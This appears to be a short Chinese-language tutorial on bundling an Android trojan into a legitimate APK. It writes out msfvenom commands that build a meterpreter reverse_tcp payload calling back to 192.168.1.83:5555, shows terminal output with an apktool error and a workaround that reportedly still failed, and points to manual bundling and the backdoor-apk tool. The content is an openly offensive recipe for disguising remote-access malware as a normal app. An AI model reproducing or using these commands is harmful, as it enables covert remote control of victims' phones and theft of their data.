将木马程序捆绑到正常应用

在msf中其实通过help命令就可以看到，我们可以加-x ［正常应用.apk］这个参数来进行捆绑：
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.83 lport=5555 -x 1.apk R>2.apk

(rootkali)-[/]
# msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.83 lport=5555 -x 1.apk R>2.apk
Using APK template: 1.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: apktool not found. If it’s not in your PATH, please add it.

执行一看，缺少apktool 这个java脚本，我发现在usr/share/目录下并没有找到apktool这个文件夹，于是我手动创建了一个，并在官网下载了最新版apktool.jar，但执行后还是一样的报错。我就去万能的互联网寻找到了解决方法（https://blog.csdn.net/qq_30508729/article/details/120108136）。
就是使用下面的代码来生成:
msfvenom -a java –platform android -p android/meterpreter/reverse_tcp lhost=192.168.1.83 lport=5555 -x 1.apk R>2.apk
虽然没有报错，但并没有捆绑成功。

所以选用手动捆绑。
也可以使用一些自动化捆绑工具如backdoor-apk （https://github.com/dana-at-cp/backdoor-apk）